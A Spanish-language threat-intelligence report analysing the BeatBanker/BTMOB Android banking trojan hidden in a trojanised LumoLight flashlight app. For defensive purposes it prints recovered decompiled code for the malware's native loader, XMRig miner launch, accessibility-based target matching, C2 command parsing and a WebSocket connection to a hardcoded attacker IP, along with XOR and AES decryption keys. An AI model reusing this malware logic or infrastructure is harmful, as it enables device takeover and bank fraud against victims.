Análisis del malware bancario para Android BeatBanker/BTMOB

Antecedentes

En marzo de 2026, uno de nuestros clientes del sector bancario se puso en contacto con nosotros tras recibir informes de que varios de sus clientes de la aplicación móvil habían sido comprometidos por una muestra de malware para Android. Las víctimas describían un comportamiento coherente con el robo de credenciales y con intentos de transacciones no autorizadas originados desde sus propios dispositivos, y la aplicación móvil del banco parecía ser un punto central del ataque. El cliente nos facilitó una copia del APK sospechoso, distribuido a las víctimas como una utilidad de linterna llamada LumoLight, y nos pidió que determináramos qué hace el malware, de qué es capaz y cómo defenderse de él.

Este artículo documenta ese análisis. Nuestro objetivo era establecer el conjunto completo de capacidades de la muestra y, cuando fuera posible, atribuirla a un actor de amenazas conocido, de modo que los equipos de defensa, de monitorización del fraude y de asesoramiento a clientes del cliente pudieran responder con información precisa. El trabajo se realizó como análisis puramente estático: el APK y sus cargas útiles por etapas se desempaquetaron, descifraron y analizaron mediante ingeniería inversa sin ejecutarlos. Este enfoque es deliberado: evita cualquier riesgo de interacción en vivo con el C2 que pudiera alertar al operador, pero también fija límites a lo que pudimos y no pudimos determinar, que señalamos de forma explícita más adelante en el informe.

Resumen ejecutivo

TV_V_23.apk es una plataforma de malware bancario para Android de varias etapas, distribuida como una falsa aplicación de linterna llamada LumoLight. Tras la fachada de una utilidad inocua, despliega una cadena de cargadores de cuatro etapas que acaba instalando una herramienta de acceso remoto (RAT) completa, un criptominero encubierto y un motor de entrega de phishing en vivo, todo ello sin explotar ninguna vulnerabilidad del dispositivo.

Hallazgos clave:

• Capacidad. La carga útil de la etapa final ofrece a un operador remoto visibilidad y control totales sobre el dispositivo infectado: captura de pantalla en vivo, interacción con la interfaz en tiempo real dentro de cualquier aplicación (incluidas las bancarias), interceptación de SMS y OTP, entrega de superposiciones de phishing y exfiltración de archivos.

• La selección de objetivos es configurable en tiempo de ejecución, no está codificada de forma rígida. El análisis estático de la muestra confirmó que el APK no incorpora ningún banco concreto: las entidades objetivo se envían desde el servidor de mando y control (C2) del operador en cualquier momento, lo que significa que cualquier banco puede ser objetivo en toda la flota infectada mediante un único mensaje. Un vídeo de prueba de concepto de acceso público que muestra la interfaz del C2 del lado del operador aporta una corroboración independiente: presenta una lista de objetivos activa con nombres de paquete de las principales aplicaciones de banca móvil, lo que confirma que la selección de bancos como objetivo es una funcionalidad real de esta plataforma en la práctica, y no una capacidad teórica.

• Monetización en paralelo. Una etapa auxiliar independiente instala un criptominero que genera ingresos para el actor de amenazas, se capturen o no credenciales bancarias.

• Atribución. Los indicadores de infraestructura y de comportamiento sitúan esta muestra, con un nivel de confianza alto, dentro del grupo de campañas BeatBanker / BTMOB documentado públicamente.

Conclusión para el cliente: todo dispositivo en el que se haya instalado y ejecutado TV_V_23.apk debe considerarse completamente comprometido; la eliminación parcial no es fiable porque las cargas útiles posteriores se instalan y persisten de forma independiente del cargador original. Y, dado que la selección de objetivos la controla el operador en lugar de estar integrada en el malware, la ausencia de contenido específico de bancos en esta muestra no significa que la amenaza para los clientes haya remitido: la misma infraestructura puede cambiar de objetivo en cualquier momento.

Identificación de la muestra

La muestra analizada en este informe es un único paquete de aplicación Android. Sus metadatos de identificación se resumen a continuación.

Cómo se distribuyó la muestra. El APK llegó a las víctimas mediante ingeniería social; el vector de entrega concreto queda fuera del alcance de este informe. Lo directamente relevante es la elección del disfraz: una utilidad de linterna o de ajustes rápidos es una categoría de aplicación que recibe poco escrutinio y que los usuarios suelen instalar desde fuera de la tienda oficial sin revisar con atención los permisos, lo que la convertía en una envoltura exterior ideal para un cargador malicioso.

Señales de alerta en el triaje inicial. Antes de cualquier ingeniería inversa en profundidad, tres observaciones superficiales bastaron para confirmar que la muestra merecía un análisis completo:

• Aplicación de código abierto troyanizada. El paquete com.bitmavrick.lumolight es una bifurcación troyanizada del proyecto público de linterna BitMavrick/Lumolight; la URL del repositorio original sigue incrustada en el propio APK exterior. El atacante no fabricó una aplicación falsa desde cero: tomó la base de código legítima y funcional, conservó su marca y su funcionalidad de linterna, e inyectó encima una subclase Application maliciosa, un cargador nativo y una actividad exclusivamente nativa. Como la aplicación instalada se comporta realmente como una linterna (la interfaz original de brillo y flash y el servicio del icono de ajustes rápidos siguen presentes y funcionando), la comprobación natural de la víctima, «¿hace esta aplicación lo que dice?», arroja un sí tranquilizador, y la sospecha se detiene ahí.

• Conjunto de permisos incoherente con una linterna. El manifiesto solicita REQUEST_INSTALL_PACKAGES, QUERY_ALL_PACKAGES y RECEIVE_BOOT_COMPLETED, y declara componentes de Firebase Cloud Messaging. Una utilidad de linterna no tiene ningún motivo legítimo para instalar otras aplicaciones, enumerar todas las aplicaciones del dispositivo, sobrevivir a los reinicios o mantener un canal de notificaciones push. Cualquiera de ellos por separado ya sería llamativo; en conjunto son característicos de un cargador, no de una utilidad.

• Contenido sospechoso en el directorio de recursos. El directorio assets/ contenía blobs binarios de alta entropía con nombres de archivo ofuscados, el tipo de estructura asociada a la preparación de cargas útiles cifradas y no a recursos normales de una aplicación (imágenes, fuentes, localizaciones).

Estas tres observaciones, en conjunto, desplazaron el análisis de «¿es esto malicioso?» a «¿qué tipo de malicioso y a qué escala?», que es lo que responde el resto de este informe.

Etapa 1: el primer contacto con la víctima, aplicación señuelo y arranque nativo

Aplicación anfitriona de código abierto troyanizada.

El APK exterior está construido en torno al proyecto público de linterna BitMavrick/Lumolight. La base de código legítima está intacta y funcional: FlashTileActivity, LumolightTileService y la MainActivity del launcher siguen funcionando según su diseño.

Figura 1: La interfaz de LumoLight tal como la ve la víctima: una aplicación de linterna funcional que oculta el malware que se ejecuta en el mismo proceso.

El atacante inyectó cuatro componentes maliciosos encima:

• com.bitmavrick.lumolight.LumolightApp: una subclase Application inyectada que invoca el arranque malicioso durante la inicialización del proceso.

• com.bitmavrick.lumolight.IonisedConvincing: el cargador de la biblioteca nativa libmetaspermousdevitrifiednoiseful.so.

• com.bitmavrick.lumolight.UnablyBrattain: una actividad exclusivamente nativa.

• Una modificación de la MainActivity del launcher que invoca startActivity(new Intent(this, UnablyBrattain.class)) inmediatamente después de que se inicializa la interfaz normal de la aplicación, cediendo el control a la actividad nativa maliciosa sin interrumpir la experiencia de linterna visible para el usuario.

Se añadieron a AndroidManifest.xml permisos maliciosos y componentes ocultos del manifiesto de com.yqzg.parrnell. Como la aplicación funciona realmente como una linterna, la comprobación natural de la víctima arroja un sí tranquilizador.

Secuestro del ciclo de vida de la aplicación mediante una biblioteca nativa

Los métodos attachBaseContext y onCreate de com.bitmavrick.lumolight.LumolightApp, los puntos de entrada más tempranos del ciclo de vida, invocados antes de que se renderice ninguna interfaz, se declaran native y están respaldados por libmetaspermousdevitrifiednoiseful.so. Android cede el control a las implementaciones nativas en lugar de a Java. El nombre ofuscado de la biblioteca es en sí mismo una señal menor de antianálisis, elegido para evitar la coincidencia por palabras clave con nombres de bibliotecas maliciosas conocidas.

El mismo patrón reaparece en la etapa 3. El APK auxiliar (com.sywo.chelingas, etapa 3) utiliza un patrón idéntico de cesión al código nativo, pero, al no tener código legítimo que conservar, su subclase Application no contiene más que una llamada a System.loadLibrary y dos declaraciones de métodos nativos:

// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.

public class c6xmV4 extends Application {

    public Object eeHugaithaikuu9u = null;

    static {
        System.loadLibrary("lixhokfsmav");
    }

    @Override
    public native void attachBaseContext(Context context);

    @Override
    public native void onCreate();
}

En la etapa 1, la cesión se inyecta en una jerarquía de clases legítima; en la etapa 3 es un cascarón construido a propósito. La intención es la misma: trasladar la lógica crítica al código nativo, fuera del alcance del análisis estático de la capa Java.

Preparación de cargas útiles cifradas

El arranque nativo descifra dos blobs del directorio assets/ del APK. Ambas rutinas de cifrado residen dentro de la biblioteca nativa y no están expuestas en ninguna clase Java legible; los detalles que siguen se recuperaron de los artefactos de las cargas útiles por etapas, no del código fuente del APK exterior.

El DEX de arranque carga el orquestador descifrado en memoria mediante la manipulación reflexiva del array dexElements del cargador de clases padre (en niveles de API más recientes, makeInMemoryDexElements), el mismo patrón confirmado directamente en el auxiliar de la etapa 3. El APK orquestador nunca se escribe en disco de una forma que pueda ser escaneada.

Cada punto de entrada del que depende un flujo de trabajo convencional de Android se sustituye por código legítimo o se traslada al código nativo. Quien no esté dispuesto a hacer ingeniería inversa de ARM está mirando la capa equivocada.

Etapa 2: el orquestador oculto, persistencia y control en la nube

Conectividad en la nube mediante Firebase Cloud Messaging

El orquestador se registra en un proyecto de Firebase controlado por el actor de amenazas. La configuración está incrustada en la etapa 2 de forma ofuscada: com.yqzg.parrnell.App construye un objeto de opciones JQHWyjC66EcSxmVdbe que contiene ApplicationId, ApiKey, gcmSenderId, storageBucket y projectId, y uvddntLtzpPJk8Xjs5.java lo utiliza para inicializar en tiempo de ejecución la aplicación Firebase predeterminada. La misma configuración aparece también en texto plano en el DEX auxiliar final recuperado (etapa 3); ambas etapas la llevan de forma independiente.

Firebase Cloud Messaging (FCM) es un servicio legítimo de Google que utilizan las aplicaciones habituales para entregar notificaciones push. Al usar FCM como canal de comandos, el operador obtiene tres ventajas a la vez:

• El tráfico se confunde con el legítimo. Los mensajes de FCM atraviesan la infraestructura de Google y aparecen en los registros de red como tráfico rutinario de notificaciones, lo que los hace casi indistinguibles del comportamiento legítimo de una aplicación sin una inspección a nivel de carga útil.

• Entrega fiable a dispositivos en segundo plano o inactivos. Android entrega los mensajes push de FCM incluso cuando la aplicación no se está ejecutando de forma activa, lo que permite al operador despertar los dispositivos infectados a demanda.

• No se necesita ningún dominio controlado por el operador para la vía principal de activación. El dispositivo infectado se comunica con fcm.googleapis.com, no con la infraestructura del atacante, lo que significa que las defensas sencillas basadas en listas de bloqueo de dominios en el perímetro no bastan para cortar este canal.

Para los equipos de SOC y de detección de fraude del cliente, este es el punto accionable: el C2 basado en FCM no puede bloquearse en el borde de la red sin romper aplicaciones legítimas. La detección debe hacerse en el endpoint, mediante señales de comportamiento (por ejemplo, aplicaciones con un registro FCM inesperado, o paquetes que reciben mensajes push de FCM sin ninguna notificación visible para el usuario), y no mediante el filtrado en la capa de red.

Persistencia

Una vez establecido el registro en FCM, el orquestador solicita una exención de la optimización de batería mediante el intent estándar de Android android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS con un URI de datos package: (confirmado en com.yqzg.parrnell.MainActivity, línea 356). El permiso se concede mediante un cuadro de diálogo estándar del sistema. Una vez concedido, Android deja de terminar de forma agresiva los procesos en segundo plano del orquestador.

Despliegue de las cargas útiles posteriores

El orquestador lleva un paquete instalador en su propio directorio assets/, que contiene el motor de instalación y bibliotecas nativas, no los APK posteriores en sí:

Los APK posteriores se almacenan localmente de forma cifrada dentro de los recursos del APK exterior y se entregan al instalador; la vía principal no consiste en descargarlos en vivo desde el C2. com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W (línea 24) descifra y extrae un contenedor local (xylograph), carga de él el motor de instalación y selecciona blobs de configuración locales (franker / ununanimouslynasoscope) que nombran los recursos de las cargas útiles por etapas. Las configuraciones recuperadas los asocian con conjuntos concretos de recursos:

• connector.predictor.messenger ← recursos picaroons, pellagroid, gaitskell (los tres componentes del APK dividido).
• com.sywo.chelingas ← recurso nonsignatoriesyferre.

Existe un descargador HTTP independiente en com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3 como canal alternativo o complementario, pero no es el mecanismo de entrega principal en esta muestra.

Cobertura de ingeniería social durante la instalación

El orquestador no instala las cargas útiles posteriores en silencio. Presenta falsas pantallas de configuración y de actualización que ocupan la atención de la víctima durante la instalación y normalizan las solicitudes de permisos que la etapa 4 hará a continuación: accesibilidad, captura de pantalla, lectura de SMS. Un usuario que acaba de ver completarse lo que parece una legítima «actualización del sistema» está predispuesto a aceptar avisos de privilegios elevados.

Figura 2: Pantalla de actualización falsa: la interfaz de ingeniería social que el orquestador presenta a la víctima mientras las cargas útiles posteriores se instalan en segundo plano.

La etapa 2 es donde el malware pasa de «instalado» a «controlable, persistente y en posición de desplegar las herramientas reales». Tres características dificultan interrumpirlo a posteriori: el C2 basado en FCM no puede bloquearse en el borde de la red; la exención de la optimización de batería se concede mediante un cuadro de diálogo legítimo y sin parche posible; y las cargas útiles posteriores se instalan como APK independientes, por lo que eliminar el orquestador no las elimina a ellas.

Etapa 3: la carga útil auxiliar, motor de mantenimiento y entrega del minero

La misma arquitectura de cesión al código nativo que en la etapa 1

El APK auxiliar (com.sywo.chelingas) utiliza el patrón idéntico: una subclase Application con métodos de ciclo de vida en una biblioteca nativa (liblixhokfsmav.so) y sin lógica Java relevante. Este es el c6xmV4.java mostrado en la etapa 1, lo que confirma que el patrón es una decisión de ingeniería reutilizada y no una característica de ningún componente aislado.

Carga de DEX en memoria en dos pasos

El auxiliar prepara su carga útil final a través de un DEX de arranque intermedio:

• La biblioteca nativa descifra con XOR el recurso 0DvdX3nFjtHAUApk usando la clave ASCII repetitiva de 64 caracteres 8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap (utilizada directamente como secuencia de bytes, no como frase de contraseña PBKDF2), lo que produce un DEX de arranque intermedio (SHA-256 7583ae8a...).

• La clase com.example.virusscanbypassbootstrapper.DexLoader del DEX de arranque, un nombre de clase que describe por sí mismo su propósito, descifra con AES el segundo recurso 4qZE2YiJUkIj2a2a/RioFpQvI usando AES/CBC/PKCS5Padding con una clave de 16 bytes derivada como SHA-1("RioFpQvI")[:16] (nombre base de la ruta) y un IV compuesto solo de ceros, lo que produce un archivo ZIP.

• El ZIP contiene el DEX auxiliar final (classes.dex, SHA-256 79aba8d3fad2...), cargado directamente en memoria mediante la modificación del cargador de clases (DexClassLoader para API < 26, makeInMemoryDexElements para API ≥ 29, combinado con la manipulación reflexiva del array dexElements del cargador de clases padre).

Toda la cadena se ejecuta sin escribir el DEX final en una ubicación predecible del disco, lo que derrota a los escáneres que buscan archivos APK o DEX en las rutas estándar de almacenamiento de aplicaciones.

El DEX auxiliar final hace dos cosas: persistencia mediante un servicio en primer plano de falsa actualización del sistema y criptominería mediante un binario nativo descargado.

Persistencia mediante una falsa notificación de actualización del sistema

El auxiliar se registra como un servicio en primer plano de Android, un mecanismo legítimo que permite la ejecución indefinida en segundo plano a cambio de mostrar una notificación. La notificación está disfrazada de mensaje del sistema:

La redacción cumple una función real. Los usuarios están culturalmente condicionados a no interrumpir las actualizaciones del sistema (descartar una parece arriesgado) y «please keep the phone on» desalienta las dos acciones (deslizar la notificación para descartarla y apagar el dispositivo) que más directamente amenazarían la persistencia.

Tras la notificación, el servicio mantiene dos mecanismos adicionales de mantenimiento: reproduce en bucle output8.mp3 (incluido mediante el ZIP de recursos del instalador de la etapa 2), con lo que el proceso se clasifica como reproductor activo de contenido multimedia y su prioridad de ciclo de vida aumenta, y readquiere periódicamente wake locks de Android para impedir que la CPU entre en reposo. En conjunto, Android no terminará el proceso de forma proactiva sea cual sea el estado de la pantalla, la inactividad o la presión de memoria.

Despliegue del criptominero

En paralelo con la persistencia, el auxiliar descarga de la infraestructura del operador un binario de criptominero cifrado, lo descifra en el dispositivo, lo escribe en el almacenamiento local y lo ejecuta como proceso hijo nativo. El código recuperado que sigue muestra cómo se lanza el proceso del minero y cómo se supervisa su salida estándar para obtener métricas de rendimiento:

// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.

public void run() {
    try {
        String[] strArrG = a.this.g();   // builds argv: [-o pool, -k key, --tls, --no-color]
        File fileF = a.this.f();          // returns the dropped worker executable path
        a aVar = a.this;
        aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
        Scanner scanner = new Scanner(a.this.a.getInputStream());
        while (!Thread.interrupted() && scanner.hasNextLine()) {
            String strNextLine = scanner.nextLine();
            t.a(strNextLine);             // telemetry: reports mining output upstream
            Log.v(..., strNextLine);      // raw miner output logged at verbose level
        }
    } catch (Exception e) {
        Log.e(..., "worker error: " + e);
    }
    a.this.k();   // cleanup / restart on termination
}

Los indicadores de línea de comandos pasados al minero (-o, -k, --tls, --no-color) son coherentes con la CLI estándar de XMRig, lo que sugiere con fuerza que el minero es XMRig o una bifurcación cercana que se ejecuta contra un pool compatible con Monero.

La infraestructura completa del minero recuperada:

El grupo de dominios fud2026.* no es solo infraestructura operativa: también aparece en los indicadores publicados sobre el grupo de campañas BeatBanker (véase Atribución). El componente de criptominería es una parte integrada de la operación del actor de amenazas, no un complemento de terceros.

Dos implicaciones para el cliente: a diferencia de la carga útil del operador, el criptominero tiene síntomas físicos inevitables (mayor consumo de batería, emisión de calor, uso de CPU en reposo), de modo que los reportes de clientes sobre consumo de batería o calentamiento inexplicables en dispositivos por lo demás sanos pueden servir como señal secundaria de triaje, independiente de los indicadores de fraude bancario. Y, como la minería genera ingresos de cada dispositivo infectado con independencia del éxito bancario, el operador no tiene incentivo para seleccionar objetivos de alto valor: una huella de infección más amplia es rentable en sí misma, lo que justifica una inversión sostenida en la campaña.

Etapa 4: la carga útil del operador, abuso de accesibilidad, captura de pantalla y C2 en vivo

La etapa 4 es el componente orientado al operador humano. Mientras que la etapa 3 se ejecuta en silencio para generar ingresos pasivos, la etapa 4 es una plataforma interactiva de acceso remoto: observa a la víctima en tiempo real, espera los momentos de alto valor (aplicación bancaria en primer plano, solicitud de credenciales, llegada de un OTP) y permite al operador ver, interceptar y manipular esos momentos a medida que ocurren. Todas las capacidades que utiliza se obtienen mediante permisos que la víctima concedió, no mediante ningún exploit técnico.

Instalación, persistencia y escalada de permisos

La carga útil del operador se entrega como un conjunto de APK divididos: un APK base, un APK con DEX dividido y un APK con recursos divididos. Es el formato de distribución que usan las aplicaciones publicadas a través de Google Play Store, lo que añade una capa de legitimidad aparente y dificulta extraer la carga útil como un único artefacto.

Persistencia en el arranque. El manifiesto declara un BootReceiver (connector.predictor.messenger.BootReceiver) registrado para BOOT_COMPLETED, QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, REBOOT y ACTION_SHUTDOWN. Al arrancar, el receptor inicia el servicio en primer plano antes de que el usuario desbloquee la pantalla: el malware ya se está ejecutando y está conectado al C2 cuando aparece la pantalla de bloqueo.

Manifiesto de permisos. La carga útil solicita un amplio conjunto de permisos que refleja el kit de herramientas completo del operador:

Los dos permisos operativamente decisivos, el servicio de accesibilidad y la captura de pantalla, no se conceden solo mediante el manifiesto; ambos exigen que el usuario los habilite a través de la interfaz del sistema. El kit de señuelos existe para obtenerlos.

El kit de señuelos: la ingeniería social como vía para obtener permisos

La carga útil lleva incrustado un conjunto de pantallas falsas en HTML, almacenadas cifradas en el APK y decodificadas en tiempo de ejecución:

• Falsas guías de ajustes de accesibilidad (acs_mi, acs_sm, acs_els): guían a la víctima para habilitar el servicio de accesibilidad malicioso, presentándolo como una configuración necesaria.
• Falsas pantallas de «VPN obligatoria» (vpn_required): fabrican urgencia y justifican un acceso que de otro modo resultaría sospechoso.
• Falsos flujos de actualización e inicialización (up_require, launcher, s1s2s3s4): reducen la sospecha durante la instalación de los componentes posteriores.
• Captura de credenciales (1.decoded): formularios genéricos con el aspecto de servicios de confianza.
• Pantallas de bloqueo de PIN y contraseña (2.decoded, 3.decoded): interceptan las credenciales de desbloqueo del dispositivo o entregan flujos de phishing.

Figura 3: Pantalla falsa de habilitación de accesibilidad: la página de ingeniería social presentada a la víctima para obligarla a habilitar el servicio de accesibilidad malicioso.

Figura 4: Falsa actualización de la aplicación / VPN obligatoria / flujo de carga: pantallas de señuelo secundarias que se usan para mantener la confianza de la víctima y crear pretextos para obtener permisos sostenidos.

Se trata de un flujo de trabajo, no de un único aviso. El malware no lo pide todo de una vez: se gana la confianza mediante pantallas de configuración de apariencia legítima, solicita la accesibilidad en un contexto en el que concederla parece natural y utiliza la accesibilidad para facilitar las solicitudes posteriores. Una víctima que rechazaría un aviso directo de accesibilidad tiene muchas más probabilidades de concederla como cuarto paso de un flujo de actualización rutinario.

Lo que el abuso de la accesibilidad ofrece realmente al operador

Cuando la víctima habilita el servicio de accesibilidad malicioso, el equilibrio de poder en el dispositivo cambia. La API de accesibilidad de Android se diseñó para usos legítimos (lectores de pantalla, herramientas de acceso por conmutador), pero las capacidades que expone (leer cualquier elemento de la interfaz, simular cualquier toque, interceptar eventos de teclado) son exactamente lo que necesita un operador remoto. La configuración del servicio recuperada solicita la máxima superficie:

(Fuente: res/xml/aujijdshciyxu.xml.)

Esto es un sustrato completo de vigilancia y control remoto del dispositivo. El operador puede leer todos los elementos de la interfaz, pulsar cualquier botón, enviar cualquier formulario, interceptar pulsaciones de teclas, hacer capturas de pantalla y hacerlo todo dentro de cualquier aplicación, incluidas las aplicaciones bancarias reforzadas.

Lógica de selección de objetivos

El servicio supervisa las transiciones de la aplicación en primer plano y comprueba la aplicación recién activa frente a una lista de objetivos:

// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.

if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
        || r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
    for (Map.Entry entry : s.i.entrySet()) {
        String str17 = (String) entry.getKey();
        str10 = (String) entry.getValue();    // ltrk: URL/domain tracker value
        str11 = (String) s.j.get(str17);      // itrk: package name to match
        str12 = (String) s.k.get(str17);      // ityp: activation mode
        if (s.B0(str16.toLowerCase(), str10)
                || (str11 != null && str11.toLowerCase().equals(str15))) {
            if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
                if (!a0()) {
                    t(getApplicationContext(), this); // trigger phishing/interaction flow
                }
            }
            // else-branch: passive monitoring mode — captures the foreground app's
            // 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
            // after an 800ms delay to report the foreground-app transition upstream.
        }
    }
}

Existen al menos dos modos de activación

El modo G activa el phishing activo. La rama else es un modo de supervisión pasiva: en cada transición de la aplicación en primer plano (de cualquier aplicación, no solo de los objetivos de phishing), el servicio captura el icono de la aplicación de 144×144 como PNG y programa un informe diferido. El operador recibe un flujo continuo de las aplicaciones que usa la víctima, independiente de la lista activa de phishing.

El mapa de objetivos se rellena en tiempo de ejecución, no está codificado de forma rígida

No se recuperó en ningún lugar de la muestra una lista estática de nombres de paquete de aplicaciones bancarias. Los mapas s.i, s.j y s.k están vacíos hasta que el operador introduce en ellos las definiciones de objetivos. El despachador de comandos del C2 recuperado (d0.java, command case 4) muestra el mecanismo:

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.

String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
    posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5);                // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true);          // set tracking_enabled = true in shared prefs

Existe una segunda vía paralela a través de Firebase: el manejador de inicio del servicio (hhmpmwbx.java) lee un campo TRK de la carga útil de la tarea de Firebase, decodifica en Base64 cada entrada y rellena las mismas estructuras de objetivos. Dos canales de entrega independientes: interactivo (WebSocket) y de difusión (FCM, que puede alcanzar a toda la flota a la vez):

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.

if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
        || oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
    r00.f(getApplicationContext(), re.e0, false);
    return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
    String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
    if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
        String[] strArrSplit = str3.split(/* "[<s>]" */);
        String str4 = strArrSplit[0]; // ntrk
        String str5 = strArrSplit[1]; // ltrk
        String str6 = strArrSplit[2]; // itrk (package name)
        String str7 = strArrSplit[3]; // ityp (activation mode)
        if (str7.equals(/* "G" */)) {
            posvvhbqnqa.x.add(str6.toLowerCase());
        }
        s.K(str4, str5);
        s.H(str4, str6);
        s.I(str4);
        s.J(str4, str7);
    }
}

La capacidad de atacar a cualquier banco está integrada en el malware; la lista de los bancos que son objetivo en cada momento reside en el servidor C2. Las pruebas independientes de un vídeo de prueba de concepto de acceso público de la interfaz del C2 del lado del operador corroboran que los nombres de paquete de aplicaciones bancarias están presentes de forma activa en las listas de objetivos del operador en la práctica.

Captura de pantalla y entrega de phishing

Más allá de la interacción mediante accesibilidad, el conector implementa la captura de pantalla continua a través de la API MediaProjection de Android. VirtualDisplay, ImageReader y un transporte WebSocket forman una canalización de transmisión en vivo hacia el operador.

La captura de pantalla es independiente de la accesibilidad: otra API de Android, otro permiso (FOREGROUND_SERVICE_MEDIA_PROJECTION), otro cuadro de diálogo de consentimiento del usuario; el kit de señuelos está diseñado específicamente para obtenerlo. Un operador que dispone tanto de accesibilidad como de captura de pantalla tiene visibilidad redundante: si un flujo se degrada, el otro continúa.

Entrega de phishing al activarse un objetivo. Cuando un paquete objetivo pasa a primer plano y se activa el modo G, el conector puede entregar contenido de phishing mediante tres mecanismos:

• Un WebView a pantalla completa cargado desde el kit local de señuelos en HTML (actividad cofsbfpmyxowwuea).
• Una actividad falsa de bloqueo o de credenciales (actividad dhsesufepsplsmqcghx) superpuesta a la aplicación legítima.
• Manipulación directa mediante accesibilidad de la propia interfaz de la aplicación legítima (rellenar campos automáticamente, enviar formularios, autorizar transacciones) sin ninguna superposición (a través del servicio de accesibilidad posvvhbqnqa).

El tercer mecanismo es el desafío de detección: no hay huella de ventana superpuesta que las defensas del dispositivo puedan detectar, porque no hay superposición. El malware opera la aplicación bancaria real de la víctima en nombre del operador, usando la propia sesión autenticada de la víctima. Desde el backend del banco, cada acción se origina en el dispositivo y la sesión del usuario legítimo, porque así es.

Figura 5: Pantalla falsa de captura de credenciales o de bloqueo por PIN: la superposición de phishing que presenta el conector después de que la selección de objetivos mediante accesibilidad se active en una aplicación supervisada.

Arquitectura de comunicación con el C2

El conector mantiene dos canales paralelos hacia la infraestructura del operador.

Canal principal: WebSocket persistente.

// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.

public void run() {
    OkHttpClient unused = gz.a = new OkHttpClient();
    gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}

El endpoint del C2 es configurable en tiempo de ejecución. re.c() no es una constante. El método (re.java L201–216) lee un campo configurable en tiempo de ejecución re.c, inicializado vacío, recorre una comprobación de accesibilidad de red sobre los valores configurados y recurre a una cadena ofuscada codificada de forma rígida, decodificada como ws://195.160.221.203:8080/, solo si ninguno de los valores configurados es alcanzable. La IP codificada de forma rígida es el respaldo; un operador puede redirigir la ranura principal mediante una actualización de configuración sin enviar un nuevo APK. Bloquear 195.160.221.203 corta el respaldo, pero no impide la redirección a nueva infraestructura arbitraria.

Canal secundario: informes y asignación de tareas por HTTP.

El conjunto completo de comandos del operador. Los manejadores del despachador recuperados muestran un RAT de Android de propósito general, no una herramienta limitada a superposiciones bancarias:

Capacidad secundaria de antidetección: lista negra de hosts ads.txt. La carga útil incluye un archivo assets/ads.txt codificado con XOR que se decodifica como una lista de unos ~75,873 nombres de host de publicidad y analítica, utilizada por la actividad cofsbfpmyxowwuea (el host WebView de los señuelos) para filtrar las solicitudes de red de publicidad y analítica del contenido renderizado en el WebView. Las páginas señuelo se muestran limpias, sin el ruido de terceros que podría generar señales de red secundarias.

La etapa 4 es donde se materializa el impacto en el negocio. El kit de herramientas de fraude está completo: interceptación de OTP, manipulación de transacciones mediante accesibilidad, observación de pantalla en vivo, entrega de superposiciones de phishing y bloqueo de llamadas y SMS durante el fraude (blker). La detección requiere visibilidad en el endpoint, no inspección de red: bloquear la IP de respaldo codificada de forma rígida no corta un C2 principal reconfigurable en tiempo de ejecución.

Técnicas antianálisis

